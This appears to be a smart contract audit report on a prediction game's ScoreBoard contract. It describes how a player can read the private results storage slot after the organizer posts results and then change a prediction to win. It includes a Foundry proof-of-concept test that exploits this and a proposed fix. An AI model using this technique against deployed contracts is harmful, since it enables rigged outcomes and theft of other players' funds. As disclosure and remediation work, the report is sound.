Summary
The ScoreBoard:SetPrediction
function allows players
to change the prediction of a match when results have been updated by the organizer
, which leads to result being gamed.
Vulnerability Details
According the rules of the system it says After the end of each match the Organizer will enter the match result
and ScoreBoard:results
state variable even though it is private, it can still be queried from the blockchain to get the updated results and the Player
can call the ScoreBoard:SetPrediction
function to change their results thereby cheating the system.
Impact
A player
can always win all prediction rigging the system leading to loss of funds.
Proof of Concepts
Here is a test to proof it can be gameed, add to the test file
function test_ResultsCanGamed() public {
vm.startPrank(stranger);
vm.deal(stranger, 0.0003 ether);
vm.stopPrank();
vm.warp(2);
vm.startPrank(stranger);
thePredicter.makePrediction{value: 0.0001 ether}(
0,
ScoreBoard.Result.Draw
);
vm.stopPrank();
vm.startPrank(organizer);
scoreBoard.setResult(0, ScoreBoard.Result.First);
vm.stopPrank();
uint256 S_RESULT_STORAGE_SLOT_VALUE = 2;
bytes32 slotData = vm.load(
address(scoreBoard),
bytes32(S_RESULT_STORAGE_SLOT_VALUE)
);
uint8 readValues = abi.decode(abi.encodePacked(slotData), (uint8));
console.log(readValues);
vm.warp(3);
vm.startPrank(stranger);
thePredicter.makePrediction{value: 0.0001 ether}(
0,
ScoreBoard.Result(readValues)
);
vm.stopPrank();
assertEq(scoreBoard.getPlayerScore(stranger), 2);
}
Tools Used
Recommendations
Here is a possible fix to the ScoreBoard:SetPrediction
function.
function setPrediction(
address player,
uint256 matchNumber,
Result result
) public {
+ if(results[matchNumber] != Result.Pending){
+ revert ScoreBoard__MatchEnded;
+ }
if (block.timestamp <= START_TIME + matchNumber * 68400 - 68400)
playersPredictions[player].predictions[matchNumber] = result;
playersPredictions[player].predictionsCount = 0;
for (uint256 i = 0; i < NUM_MATCHES; ++i) {
if (
playersPredictions[player].predictions[i] != Result.Pending &&
playersPredictions[player].isPaid[i]
) ++playersPredictions[player].predictionsCount;
}
}